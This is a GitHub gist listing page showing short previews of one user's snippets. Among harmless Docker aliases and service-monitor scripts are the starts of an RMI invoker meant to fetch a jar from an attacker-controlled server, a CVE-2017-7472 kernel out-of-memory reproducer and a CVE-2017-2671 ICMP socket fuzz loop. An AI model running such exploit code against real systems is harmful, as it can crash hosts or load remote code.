Skip to content

Instantly share code, notes, and snippets.

View imv7's full-sized avatar
🎧
Noise canceling headset

imv imv7

🎧
Noise canceling headset
View GitHub Profile
@imv7
imv7 / pyrmi.py
Created December 1, 2018 21:09 — forked from staaldraad/pyrmi.py
Quick and dirty RMI invoker
#!/usr/bin/python
"""
Python implementation of RMI invoker. Should try fetch a .jar from a server we control.
Author: Etienne Stalmans <etienne@sensepost.com>
Version: 08/10/2014 - v0.1
"""
import socket
import binascii
@imv7
imv7 / linux-shell-docker-cli.sh
Created June 17, 2018 22:26 — forked from rafaeltuelho/linux-shell-docker-cli.sh
Some useful shell aliases and function for Docker command line
# Docker aliases
alias di='sudo docker images'
alias dps='sudo docker ps -a'
# useful Docker functions
dock-run() { sudo docker run -i -t --privileged $@ ;}
dock-exec() { sudo docker exec -i -t $@ /bin/bash ;}
dock-log() { sudo docker logs --tail=all -f $@ ;}
dock-port() { sudo docker port $@ ;}
dock-vol() { sudo docker inspect --format '{{ .Volumes }}' $@ ;}
@imv7
imv7 / keyctl_kernel_OOO
Created June 8, 2017 05:43
CVE-2017-7472
/*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:
gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472
(will run the kernel out of memory)
*/
#include <sys/types.h>
@imv7
imv7 / kernel_icmp_dos
Last active June 8, 2017 05:40
CVE-2017-2671
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
static int sockfd = 0;
static struct sockaddr_in addr = {0};
void fuzz(void * param){
while(1){
addr.sin_family = 0;//rand()%42;
@imv7
imv7 / web_listening_monitor.sh
Created June 1, 2017 23:19
WebServer Monitor (HTTP and HTTPS)
#!/bin/ksh
#
#=======================================================================
#
# Script: mon_oiws
#
# Purpose: Verify the OiWS is active.
# If inactive, acivate.
# If still inactive, generate page.
@imv7
imv7 / sna_monitor.sh
Created June 1, 2017 23:15
IBM Communications Server ( SNA ) Monitor
#!/bin/ksh
#
#=======================================================================
#
# Script: mon_sna
#
# Purpose: Verify the SNA Link Station is active.
# If inactive, acivate.
# If still inactive, generate page.